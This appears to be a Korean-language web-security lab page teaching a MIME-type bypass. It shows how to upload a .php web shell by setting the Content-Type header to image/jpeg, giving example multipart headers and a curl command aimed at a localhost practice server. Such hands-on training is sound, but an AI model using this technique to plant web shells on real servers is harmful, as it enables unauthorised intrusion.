🎭 MIME Type Bypass
Content-Type 헤더 조작 실습
OWASP A04 · Insecure Design
취약 포인트: 이 서버는 $_FILES['type'] (클라이언트가 보낸 Content-Type) 만으로 파일을 검증합니다.
Content-Type은 HTTP 요청 헤더이므로 Burp Suite 등으로 자유롭게 조작할 수 있습니다.
목표: .php 웹쉘을 업로드할 때 Content-Type을 image/jpeg로 바꿔 우회하세요.
💡 힌트 보기 (클릭) ▾
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
curl -X POST http://localhost:8081/mimetype.php \
-F "file=@shell.php;type=image/jpeg"